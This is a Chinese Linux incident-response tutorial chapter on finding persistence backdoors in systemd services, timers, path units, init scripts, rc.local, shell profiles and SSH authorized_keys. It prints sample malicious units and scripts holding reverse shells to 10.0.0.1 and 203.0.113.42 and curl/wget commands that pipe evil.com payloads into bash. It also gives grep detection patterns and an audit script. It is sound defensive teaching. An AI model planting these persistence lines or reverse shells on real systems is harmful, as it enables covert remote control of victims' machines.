Linux应急响应 - 08 服务与启动项审计

08-服务与启动项审计 (Services & Startup Audit)

在 Linux 应急响应中,服务与启动项是攻击者实现持久化的关键目标。通过创建或篡改系统服务,攻击者可以让恶意代码在每次系统启动时自动运行,甚至在被终止后自动重启。本章系统介绍 Systemd 服务、SysVinit、rc.local 以及其他自启动位置的排查方法。

计划任务(crontab、at、systemd timer)的排查已在 07-计划任务审计 中详细讲解,本章聚焦于服务与启动项。

1. Systemd 服务排查

Systemd 是目前绝大多数主流 Linux 发行版(Ubuntu 16.04+、CentOS 7+、Debian 8+)的默认 init 系统。理解 systemd 的服务管理机制是排查启动项后门的基础。

1.1 基本排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 列出所有已安装的服务及其启用状态
systemctl list-unit-files --type=service
# 状态说明:
# enabled — 开机自启
# disabled — 不自启
# static — 不能直接启用,只能被其他 unit 依赖
# masked — 被完全禁用,无法启动

# 只看 enabled 的服务(重点关注)
systemctl list-unit-files --type=service --state=enabled

# 列出当前正在运行的服务
systemctl list-units --type=service --state=running

# 查看某个服务的详细状态
systemctl status sshd.service
# 输出包括:是否 active、PID、启动时间、最近日志

# 查看服务的 unit 文件内容(最重要的命令之一)
systemctl cat sshd.service

# 查看服务的所有属性
systemctl show sshd.service

# 查看服务的依赖关系
systemctl list-dependencies sshd.service

1.2 服务文件位置与优先级

Systemd 的 unit 文件分布在多个目录,优先级从高到低:

优先级 目录 说明 来源
最高 /etc/systemd/system/ 管理员自定义 手动创建或 systemctl edit
/run/systemd/system/ 运行时临时 程序运行时生成,重启后消失
/usr/lib/systemd/system/ 包管理器安装 rpm/deb 包提供
/usr/lib/systemd/system/ (Debian 也用 /lib/systemd/system/) 包管理器安装 同上
用户级 ~/.config/systemd/user/ 用户自定义服务 用户手动创建

排查要点

/etc/systemd/system/ 中的文件优先级最高,会覆盖包管理器提供的同名文件。攻击者可能在此创建新服务或覆盖已有服务。

/run/systemd/system/ 中的文件重启后消失,攻击者可能用它配合其他持久化手段。

用户级服务 ~/.config/systemd/user/ 常被忽略,但攻击者可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查看各目录下的所有 service 文件
echo "=== /etc/systemd/system/ ==="
ls -la /etc/systemd/system/*.service 2>/dev/null
ls -la /etc/systemd/system/*/*.service 2>/dev/null

echo "=== /run/systemd/system/ ==="
ls -la /run/systemd/system/*.service 2>/dev/null

echo "=== /usr/lib/systemd/system/ ==="
ls -la /usr/lib/systemd/system/*.service 2>/dev/null | tail -20

echo "=== /lib/systemd/system/ (Debian) ==="
ls -la /lib/systemd/system/*.service 2>/dev/null | tail -20

# 查看所有用户的 user-level 服务
for home in /home/* /root; do
dir="$home/.config/systemd/user"
if [ -d "$dir" ]; then
echo "=== $dir ==="
ls -la "$dir"/*.service 2>/dev/null
fi
done

1.3 Service 文件格式详解

理解 service 文件格式是判断其是否恶意的基础:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 正常服务示例:/usr/lib/systemd/system/sshd.service
[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.target
Wants=sshd-keygen.target

[Service]
Type=notify
EnvironmentFile=-/etc/sysconfig/sshd
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

[Unit] 段

Description — 服务描述

After — 在哪些 unit 之后启动

Wants — 弱依赖

Requires — 强依赖

[Service] 段(最重要)

Type — 服务类型(simple, forking, oneshot, notify, dbus, idle)

ExecStart主要执行命令(重点检查对象)

ExecStartPre — 启动前执行(攻击者可能在此植入恶意命令)

ExecStartPost — 启动后执行(同上)

ExecStop — 停止命令

ExecReload — 重载命令

Restart — 重启策略(always, on-failure, on-abnormal 等)

RestartSec — 重启间隔

User / Group — 运行身份

WorkingDirectory — 工作目录

Environment / EnvironmentFile — 环境变量

[Install] 段

WantedBy — 被哪个 target 依赖(multi-user.target 表示开机自启)

RequiredBy — 被哪个 target 强依赖

Also — 启用时同时启用的其他 unit

1.4 恶意 Service 特征识别

以下特征是恶意服务的高危信号

ExecStart 包含可疑命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 危险信号1:使用 bash -c 执行复杂命令
ExecStart=/bin/bash -c 'curl http://evil.com/payload | bash'

# 危险信号2:使用 /tmp 或 /dev/shm 路径
ExecStart=/tmp/.hidden/backdoor
ExecStart=/dev/shm/.update

# 危险信号3:使用网络下载工具
ExecStart=/bin/bash -c 'wget -q -O /tmp/.x http://evil.com/x && chmod +x /tmp/.x && /tmp/.x'

# 危险信号4:反弹 shell
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4443 0>&1'

# 危险信号5:使用 python/perl/ruby 执行网络操作
ExecStart=/usr/bin/python3 -c "import socket,os,pty;s=socket.socket();s.connect(('10.0.0.1',4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"

# 危险信号6:使用 nc/ncat
ExecStart=/bin/bash -c 'mkfifo /tmp/.f; cat /tmp/.f | /bin/sh -i 2>&1 | nc 10.0.0.1 4443 > /tmp/.f'

自动重启配置

1
2
3
# 攻击者确保服务被杀死后自动重启
Restart=always
RestartSec=10

开机自启配置

1
2
3
# 几乎所有恶意服务都会配置为开机自启
[Install]
WantedBy=multi-user.target

综合检测命令

1
2
3
4
5
6
7
8
9
10
11
# 在所有 service 文件中搜索可疑的 ExecStart
grep -rn "ExecStart" /etc/systemd/system/ /run/systemd/system/ 2>/dev/null | \
grep -iP "(bash -c|curl|wget|/tmp/|/dev/shm|/dev/tcp|python|perl|ruby|nc\s|ncat|base64|socket)"

# 搜索可疑的 ExecStartPre/ExecStartPost
grep -rn "ExecStartPre\|ExecStartPost" /etc/systemd/system/ 2>/dev/null | \
grep -iP "(bash|curl|wget|/tmp/|/dev/shm)"

# 查找最近7天创建或修改的 service 文件
find /etc/systemd/system /run/systemd/system /usr/lib/systemd/system \
-name "*.service" -mtime -7 -ls 2>/dev/null

1.5 恶意 Service 真实样本

样本1:伪装成系统更新服务的反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /etc/systemd/system/system-update.service
[Unit]
Description=System Update Service
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/203.0.113.42/8443 0>&1; sleep 60; done'
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

样本2:使用脚本文件的后门服务

1
2
3
4
5
6
7
8
9
10
11
12
13
# /etc/systemd/system/log-collector.service
[Unit]
Description=Log Collection Agent
After=network.target

[Service]
Type=forking
ExecStart=/opt/.config/svc/agent
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target

其中 /opt/.config/svc/agent 是攻击者放置的恶意二进制文件。

样本3:利用 ExecStartPre 的隐蔽后门

1
2
3
4
# /etc/systemd/system/rsyslog.service.d/override.conf
# 通过 drop-in 文件修改合法服务
[Service]
ExecStartPre=/bin/bash -c 'nohup /tmp/.updater &'

这种手法通过修改合法服务的 drop-in 配置,在服务启动前执行恶意命令,非常隐蔽。

1
2
3
4
5
# 检查所有 drop-in 配置(.d 目录中的 override 文件)
find /etc/systemd/system -name "*.conf" -path "*.d/*" -ls 2>/dev/null

# 查看 drop-in 内容
find /etc/systemd/system -name "*.conf" -path "*.d/*" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null

2. Systemd Timer 排查(定时触发的服务)

Systemd Timer 与 Service 是配对使用的。Timer 定义触发时机,Service 定义执行内容。

2.1 Timer + Service 配对机制

当一个 timer 单元被激活时,它会自动启动同名的 service 单元(除非在 Unit= 中指定了不同的 service)。

1
2
3
4
5
6
7
8
9
10
# /etc/systemd/system/malware-update.timer
[Unit]
Description=Malware Disguised as Update Timer

[Timer]
OnCalendar=*:0/5
Persistent=true

[Install]
WantedBy=timers.target
1
2
3
4
5
6
7
# /etc/systemd/system/malware-update.service(自动配对)
[Unit]
Description=Malware Disguised as Update Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/payload | bash'

2.2 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 列出所有 timer
systemctl list-timers --all --no-pager

# 检查每个 timer 的配置
for timer in $(systemctl list-unit-files --type=timer --no-pager | grep -v "^$\|UNIT\|listed" | awk '{print $1}'); do
echo "====== $timer ======"
systemctl cat "$timer" 2>/dev/null
# 同时查看关联的 service
svc=$(echo "$timer" | sed 's/\.timer/.service/')
echo "--- 关联服务: $svc ---"
systemctl cat "$svc" 2>/dev/null
echo ""
done

2.3 恶意 Timer 检测要点

高频触发:每分钟或每几分钟触发一次

Persistent=true:确保错过的执行会补上

关联 service 的 ExecStart 可疑

timer 文件不属于任何已安装的包

1
2
3
4
5
6
7
8
9
10
11
12
# 查找自定义(非包管理器安装)的 timer
for f in /etc/systemd/system/*.timer; do
[ -f "$f" ] || continue
base=$(basename "$f")
pkg_debian=$(dpkg -S "$f" 2>/dev/null)
pkg_centos=$(rpm -qf "$f" 2>/dev/null)
if [ -z "$pkg_debian" ] && [ -z "$pkg_centos" ]; then
echo "[!] 非包管理器安装: $f"
cat "$f"
echo ""
fi
done

3. Systemd Path 排查(文件变化触发的服务)

Systemd Path unit 可以监控文件或目录的变化,当文件出现、修改或被删除时触发关联的 service。

3.1 Path Unit 格式

1
2
3
4
5
6
7
8
9
10
11
12
# /etc/systemd/system/evil-trigger.path
[Unit]
Description=Monitor trigger file

[Path]
PathExists=/tmp/.trigger
# 或 PathChanged=/etc/crontab
# 或 PathModified=/var/log/auth.log
# 或 DirectoryNotEmpty=/tmp/.commands/

[Install]
WantedBy=multi-user.target

3.2 攻击者利用场景

场景1:监控 /tmp/.trigger 文件,攻击者只需创建该文件即可触发恶意 service 执行。

场景2:监控 /etc/crontab,当管理员修改 crontab(可能是在清除恶意条目)时自动重新植入。

场景3:监控 /var/log/auth.log,在新的登录事件发生时触发某些操作。

3.3 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 列出所有 path unit
systemctl list-units --type=path --all --no-pager
systemctl list-unit-files --type=path --no-pager

# 查看每个 path unit 的配置
for p in $(systemctl list-unit-files --type=path --no-pager | grep -v "^$\|UNIT\|listed" | awk '{print $1}'); do
echo "====== $p ======"
systemctl cat "$p" 2>/dev/null
echo ""
done

# 查找自定义的 path unit
find /etc/systemd/system -name "*.path" -ls 2>/dev/null

4. SysVinit 排查

虽然大多数现代发行版已使用 Systemd,但 SysVinit 兼容层仍然存在,攻击者可能利用旧式 init 脚本来隐藏后门。

4.1 /etc/init.d/ 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 列出所有 init.d 脚本
ls -la /etc/init.d/

# 检查脚本内容
for f in /etc/init.d/*; do
[ -f "$f" ] && echo "=== $f ===" && head -20 "$f" && echo "..."
done

# 查找最近修改的脚本
find /etc/init.d/ -type f -mtime -30 -ls

# 检查脚本是否属于已安装的包
# Debian/Ubuntu
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
result=$(dpkg -S "$f" 2>/dev/null)
if [ -z "$result" ]; then
echo "[!] 未知来源: $f"
fi
done

# CentOS/RHEL
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
result=$(rpm -qf "$f" 2>/dev/null)
if echo "$result" | grep -q "not owned"; then
echo "[!] 未知来源: $f"
fi
done

4.2 运行级别 (Runlevel)

SysVinit 使用运行级别来管理服务启停:

运行级别 含义
0 关机
1 / S 单用户模式
2 多用户(Debian 默认)
3 多用户 + 网络(CentOS 默认)
4 未使用
5 多用户 + 网络 + GUI
6 重启
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看运行级别目录的符号链接
ls -la /etc/rc.d/rc3.d/ 2>/dev/null # CentOS
ls -la /etc/rc3.d/ 2>/dev/null # Ubuntu

# S 开头 = 启动时执行 (Start)
# K 开头 = 关闭时执行 (Kill)
# 数字表示执行顺序

# 查看所有运行级别中的启动项
for i in 0 1 2 3 4 5 6; do
dir="/etc/rc${i}.d"
[ -d "$dir" ] || dir="/etc/rc.d/rc${i}.d"
if [ -d "$dir" ]; then
echo "=== Runlevel $i: $dir ==="
ls -la "$dir" 2>/dev/null | grep "^l" | head -10
fi
done

4.3 chkconfig 和 update-rc.d

1
2
3
4
5
6
# CentOS/RHEL:查看所有服务的运行级别配置
chkconfig --list 2>/dev/null

# Ubuntu/Debian:查看服务的运行级别配置
# update-rc.d 主要用于配置,查看用 sysv-rc-conf 或直接看 rcN.d
sysv-rc-conf --list 2>/dev/null

5. rc.local 排查

rc.local 是一个在系统启动末尾执行的脚本,攻击者非常喜欢在此添加后门,因为它简单直接。

5.1 文件位置

1
2
3
4
5
6
7
8
# 常见位置
cat /etc/rc.local 2>/dev/null
cat /etc/rc.d/rc.local 2>/dev/null

# 检查文件属性
ls -la /etc/rc.local 2>/dev/null
ls -la /etc/rc.d/rc.local 2>/dev/null
stat /etc/rc.local 2>/dev/null

5.2 执行权限要求

在 Systemd 系统中,/etc/rc.local 需要有可执行权限才会被执行:

1
2
3
4
5
6
7
8
# 检查是否有执行权限
ls -la /etc/rc.local
# -rwxr-xr-x 表示有执行权限(会被执行)
# -rw-r--r-- 表示没有执行权限(不会被执行)

# 在 Systemd 中,rc-local.service 负责执行 rc.local
systemctl status rc-local.service 2>/dev/null
systemctl cat rc-local.service 2>/dev/null

5.3 恶意 rc.local 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
# /etc/rc.local

# 看起来正常的注释
# System initialization script

# 合法内容
/usr/local/bin/start_monitoring.sh

# 攻击者添加的内容(可能隐藏在文件中间或末尾)
nohup bash -i >& /dev/tcp/203.0.113.42/4443 0>&1 &

# 或者更隐蔽的方式
(sleep 60 && curl -fsSL http://evil.com/x.sh | bash) &

exit 0

注意:攻击者通常在文件的 exit 0 之前添加恶意命令,因为 exit 0 之后的内容不会执行。检查时务必阅读完整文件内容。

5.4 排查要点

1
2
3
4
5
6
7
8
# 检查 rc.local 的完整内容
cat -n /etc/rc.local 2>/dev/null

# 搜索可疑内容
grep -n "curl\|wget\|bash\|python\|perl\|nc \|ncat\|/dev/tcp\|/tmp/\|/dev/shm\|base64\|nohup" /etc/rc.local 2>/dev/null

# 检查修改时间
stat /etc/rc.local 2>/dev/null

6. 其他自启动位置

除了上述常见位置,攻击者还可能利用以下自启动机制。

6.1 Shell Profile 脚本

当用户登录时,Shell 会按顺序执行一系列 profile 脚本。攻击者可以在这些文件中植入后门,使其在每次登录时执行。

系统级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 所有用户登录时执行
cat /etc/profile
ls -la /etc/profile.d/
for f in /etc/profile.d/*.sh; do
echo "=== $f ==="
cat "$f"
echo ""
done

# 环境变量
cat /etc/environment

# bash 特定
cat /etc/bash.bashrc 2>/dev/null # Debian/Ubuntu
cat /etc/bashrc 2>/dev/null # CentOS/RHEL

用户级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 检查所有用户的 shell 配置文件
for home in /home/* /root; do
[ -d "$home" ] || continue
echo "====== $home ======"

# bash
for f in .bash_profile .bashrc .bash_login .profile .bash_logout; do
[ -f "$home/$f" ] && echo "--- $f ---" && cat "$home/$f" && echo
done

# zsh
for f in .zshrc .zprofile .zlogin .zlogout .zshenv; do
[ -f "$home/$f" ] && echo "--- $f ---" && cat "$home/$f" && echo
done
done

恶意 profile 示例

1
2
3
4
5
6
7
8
9
# 攻击者在 /etc/profile.d/ 中创建脚本
# /etc/profile.d/system-check.sh
#!/bin/bash
(nohup bash -i >& /dev/tcp/10.0.0.1/4443 0>&1 &) 2>/dev/null

# 或者在 .bashrc 末尾添加
alias sudo='sudo ' # 看起来无害
# 实际上在后面还有一行
(curl -fsSL http://evil.com/k.sh | bash &) 2>/dev/null

检测命令

1
2
3
4
5
# 在所有 profile 文件中搜索可疑内容
grep -rn "curl\|wget\|/dev/tcp\|base64\|python.*socket\|perl.*socket\|nc -[elp]\|nohup\|/tmp/\.\|/dev/shm" \
/etc/profile /etc/profile.d/ /etc/bash.bashrc /etc/bashrc \
/home/*/.bashrc /home/*/.bash_profile /home/*/.profile \
/root/.bashrc /root/.bash_profile /root/.profile 2>/dev/null

6.2 SSH 相关自启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 检查 SSH authorized_keys 中的 command= 选项
for home in /home/* /root; do
ak="$home/.ssh/authorized_keys"
if [ -f "$ak" ]; then
echo "=== $ak ==="
# command= 选项可以在 SSH 登录时自动执行命令
grep "command=" "$ak" 2>/dev/null
cat "$ak"
echo ""
fi
done

# 检查 SSH rc 文件
for home in /home/* /root; do
rc="$home/.ssh/rc"
if [ -f "$rc" ]; then
echo "[!] 发现 SSH rc 文件: $rc"
cat "$rc"
fi
done

# 系统级 SSH rc
cat /etc/ssh/sshrc 2>/dev/null

SSH authorized_keys 中的 command= 选项特别危险:

1
2
3
4
5
# 正常的 authorized_keys
ssh-rsa AAAA... user@host

# 带 command= 的后门(每次 SSH 登录时执行)
command="/tmp/.backdoor" ssh-rsa AAAA... user@host

6.3 XDG Autostart (有 GUI 的系统)

如果服务器安装了桌面环境:

1
2
3
4
5
6
7
8
# 系统级
ls -la /etc/xdg/autostart/ 2>/dev/null

# 用户级
for home in /home/*; do
dir="$home/.config/autostart"
[ -d "$dir" ] && echo "=== $dir ===" && ls -la "$dir" 2>/dev/null
done

6.4 /etc/ld.so.preload

通过 LD_PRELOAD 机制加载恶意共享库:

1
2
3
4
5
# 检查 ld.so.preload(应该为空或不存在)
cat /etc/ld.so.preload 2>/dev/null

# 如果存在内容,这是一个严重的安全警告
# 攻击者可以通过 preload 劫持所有程序的函数调用

6.5 内核模块自动加载

1
2
3
4
5
6
7
8
9
# 检查模块加载配置
cat /etc/modules 2>/dev/null
ls -la /etc/modules-load.d/ 2>/dev/null
cat /etc/modules-load.d/*.conf 2>/dev/null

# 检查当前加载的模块
lsmod

# 可疑模块通常不属于内核包

7. 排查方法论

7.1 如何区分正常服务和恶意服务

核心思路是将服务文件追溯到其来源。正常的服务应该属于某个已安装的软件包,而恶意服务通常不属于任何包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 方法1:使用包管理器验证
# Debian/Ubuntu
dpkg -S /usr/lib/systemd/system/sshd.service
# 输出: openssh-server: /usr/lib/systemd/system/sshd.service

dpkg -S /etc/systemd/system/evil.service
# 输出: dpkg-query: no path found matching pattern /etc/systemd/system/evil.service

# CentOS/RHEL
rpm -qf /usr/lib/systemd/system/sshd.service
# 输出: openssh-server-8.0p1-13.el8.x86_64

rpm -qf /etc/systemd/system/evil.service
# 输出: file /etc/systemd/system/evil.service is not owned by any package
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 方法2:批量检查 /etc/systemd/system/ 下所有服务的归属
for f in /etc/systemd/system/*.service; do
[ -f "$f" ] || continue
# 跳过符号链接(通常是 systemctl enable 创建的)
[ -L "$f" ] && continue

pkg=$(dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null)
if [ -z "$pkg" ] || echo "$pkg" | grep -q "not owned\|no path found"; then
echo "[!] 不属于任何包: $f"
echo " 创建时间: $(stat -c '%w' "$f" 2>/dev/null || stat -f '%SB' "$f" 2>/dev/null)"
echo " ExecStart: $(grep "ExecStart" "$f")"
echo ""
fi
done

7.2 检查服务文件的修改时间

1
2
3
4
5
6
# 查找最近30天内修改过的 service 文件
find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system \
-name "*.service" -mtime -30 -ls 2>/dev/null

# 检查特定服务文件的所有时间戳
stat /etc/systemd/system/suspicious.service

7.3 检查 ExecStart 指向的二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
# 提取所有 service 的 ExecStart 并验证二进制文件
grep -rh "ExecStart=" /etc/systemd/system/*.service 2>/dev/null | while read -r line; do
# 提取可执行文件路径
bin=$(echo "$line" | sed 's/ExecStart=//' | awk '{print $1}' | sed 's/^[-!+]//')
if [ -n "$bin" ] && [ -f "$bin" ]; then
pkg=$(dpkg -S "$bin" 2>/dev/null || rpm -qf "$bin" 2>/dev/null)
if [ -z "$pkg" ] || echo "$pkg" | grep -q "not owned\|no path found"; then
echo "[!] 可疑二进制: $bin"
echo " 文件信息: $(file "$bin")"
echo " MD5: $(md5sum "$bin")"
fi
fi
done

7.4 文件完整性对比

1
2
3
4
5
6
# Debian/Ubuntu:验证包文件完整性
dpkg -V 2>/dev/null | grep "systemd\|init.d"

# CentOS/RHEL:验证包文件完整性
rpm -Va 2>/dev/null | grep "systemd\|init.d"
# 输出中 5 表示 MD5 变化,T 表示 mtime 变化

8. 实战案例

8.1 案例:伪装成 system-update.service 的反弹 shell 服务

场景:运维人员发现服务器上有异常外连流量,目标 IP 为 203.0.113.42:8443。网络层已确认该连接存在,需要找到源头。

排查过程

Step 1:通过网络连接定位进程

1
2
ss -tnp | grep "203.0.113.42"
# ESTAB 0 0 10.1.1.100:49832 203.0.113.42:8443 users:(("bash",pid=2847,fd=3))

Step 2:检查进程信息

1
2
3
4
5
6
7
8
ps -ef | grep 2847
# root 2847 2845 0 02:15 ? 00:00:00 bash -i

ls -la /proc/2847/exe
# lrwxrwxrwx 1 root root 0 ... /proc/2847/exe -> /usr/bin/bash

cat /proc/2847/cmdline | tr '\0' ' '
# bash -i

Step 3:追溯父进程

1
2
3
4
5
6
ps -ef | grep 2845
# root 2845 1 0 02:15 ? 00:00:00 /bin/bash -c while true; do bash -i >& /dev/tcp/203.0.113.42/8443 0>&1; sleep 60; done

# 父进程 PID 为 1(systemd),说明这是一个 service
cat /proc/2845/cgroup
# 0::/system.slice/system-update.service

Step 4:检查 service 文件

1
2
3
4
5
6
7
8
systemctl status system-update.service
systemctl cat system-update.service
# [Unit]
# Description=System Update Service
# After=network-online.target
# ...
# ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/203.0.113.42/8443 0>&1; sleep 60; done'
# Restart=always

Step 5:验证 service 文件来源

1
2
3
4
ls -la /etc/systemd/system/system-update.service
stat /etc/systemd/system/system-update.service
dpkg -S /etc/systemd/system/system-update.service
# dpkg-query: no path found matching pattern ...

Step 6:处置

1
2
3
4
5
6
7
8
9
10
11
# 停止服务
systemctl stop system-update.service
# 禁用服务
systemctl disable system-update.service
# 备份后删除 service 文件
cp /etc/systemd/system/system-update.service /tmp/evidence/
rm /etc/systemd/system/system-update.service
# 重载 systemd
systemctl daemon-reload
# 确认连接已断开
ss -tnp | grep "203.0.113.42"

8.2 一键服务审计脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/bin/bash
# service_audit.sh - 服务与启动项一键审计脚本

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo -e "${GREEN}=========================================="
echo " Linux 服务与启动项审计脚本"
echo -e "==========================================${NC}"
echo "执行时间: $(date)"
echo "主机名: $(hostname)"
echo ""

# ========== 1. 已启用的 Systemd 服务 ==========
echo -e "${YELLOW}[1/9] 已启用的 Systemd 服务${NC}"
systemctl list-unit-files --type=service --state=enabled --no-pager
echo ""

# ========== 2. /etc/systemd/system/ 中的自定义服务 ==========
echo -e "${YELLOW}[2/9] 自定义服务文件 (/etc/systemd/system/)${NC}"
for f in /etc/systemd/system/*.service; do
[ -f "$f" ] || continue
[ -L "$f" ] && continue
echo -e "${RED}[自定义] $f${NC}"
grep "ExecStart\|ExecStartPre\|ExecStartPost" "$f"
echo ""
done

# ========== 3. 可疑 ExecStart 检测 ==========
echo -e "${YELLOW}[3/9] 可疑 ExecStart 检测${NC}"
grep -rn "ExecStart" /etc/systemd/system/ /run/systemd/system/ 2>/dev/null | \
grep -iP "(bash -c|curl|wget|/tmp/|/dev/shm|/dev/tcp|python|perl|nc\s|ncat|base64|socket)" | \
while read -r line; do echo -e "${RED}[!] $line${NC}"; done
echo ""

# ========== 4. Drop-in 覆盖文件 ==========
echo -e "${YELLOW}[4/9] Service Drop-in 覆盖文件${NC}"
find /etc/systemd/system -name "*.conf" -path "*.d/*" 2>/dev/null | while read -r f; do
echo -e "${RED}[drop-in] $f${NC}"
cat "$f"
echo ""
done

# ========== 5. Systemd Timer ==========
echo -e "${YELLOW}[5/9] Systemd Timer${NC}"
systemctl list-timers --all --no-pager 2>/dev/null
echo ""

# ========== 6. Systemd Path ==========
echo -e "${YELLOW}[6/9] Systemd Path Units${NC}"
systemctl list-units --type=path --all --no-pager 2>/dev/null
echo ""

# ========== 7. rc.local ==========
echo -e "${YELLOW}[7/9] rc.local 检查${NC}"
for f in /etc/rc.local /etc/rc.d/rc.local; do
if [ -f "$f" ]; then
echo "--- $f ---"
echo "权限: $(ls -la "$f")"
cat "$f"
echo ""
fi
done

# ========== 8. init.d 脚本(非包管理) ==========
echo -e "${YELLOW}[8/9] 非标准 init.d 脚本${NC}"
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
pkg=$(dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null)
if [ -z "$pkg" ] || echo "$pkg" | grep -q "not owned\|no path found"; then
echo -e "${RED}[!] 未知来源: $f${NC}"
fi
done
echo ""

# ========== 9. Shell Profile 后门检测 ==========
echo -e "${YELLOW}[9/9] Shell Profile 后门检测${NC}"
grep -rn "curl\|wget\|/dev/tcp\|base64\|python.*socket\|perl.*socket\|nc -[elp]\|nohup.*&\|/tmp/\.\|/dev/shm" \
/etc/profile /etc/profile.d/ /etc/bash.bashrc /etc/bashrc \
/home/*/.bashrc /home/*/.bash_profile /home/*/.profile \
/root/.bashrc /root/.bash_profile /root/.profile 2>/dev/null | \
while read -r line; do echo -e "${RED}[!] $line${NC}"; done

echo ""
echo -e "${YELLOW}[*] 最近7天修改的 service/timer/path 文件${NC}"
find /etc/systemd /usr/lib/systemd /lib/systemd /run/systemd \
\( -name "*.service" -o -name "*.timer" -o -name "*.path" \) \
-mtime -7 -ls 2>/dev/null

echo ""
echo -e "${GREEN}=========================================="
echo " 审计完成"
echo -e "==========================================${NC}"

8.3 练习

练习目标:在实验环境中执行完整的服务与启动项审计。

练习任务

  1. 创建一个恶意 systemd service,伪装成合法服务名称,设置为开机自启

  2. 创建一个 systemd timer + service 组合,每5分钟执行一次

  3. /etc/rc.local 中添加一行恶意命令

  4. /etc/profile.d/ 中创建一个后门脚本

  5. 在 SSH authorized_keys 中添加带 command= 的条目

  6. 使用审计脚本找出所有5个后门

完成后可参考 17-Systemd-Service后门 了解更多高级后门技术。

9. 总结与速查表

启动项排查清单

排查项 命令 备注
Systemd 服务(enabled) systemctl list-unit-files --type=service --state=enabled 重点检查自定义服务
自定义 service 文件 ls /etc/systemd/system/*.service 排除符号链接
Service drop-in find /etc/systemd/system -name "*.conf" -path "*.d/*" 可覆盖合法服务
Systemd Timer systemctl list-timers --all 配对检查 service
Systemd Path systemctl list-units --type=path --all 文件变化触发
SysVinit 脚本 ls /etc/init.d/ 验证包归属
rc.local cat /etc/rc.local 检查执行权限
Shell Profile grep -rn 可疑关键词 /etc/profile.d/ ~/.bashrc 用户登录时执行
SSH 自启动 grep command= ~/.ssh/authorized_keys SSH 登录触发
ld.so.preload cat /etc/ld.so.preload 全局库劫持
内核模块 cat /etc/modules-load.d/*.conf 内核级持久化
用户级服务 ls ~/.config/systemd/user/*.service 每个用户检查

相关页面

17-Systemd-Service后门 — Systemd 后门的植入与检测深入分析

07-计划任务审计 — 计划任务(crontab、at、timer)的全面审计


上一章 目录 下一章
07-计划任务审计 Linux应急响应 09-历史记录与时间线分析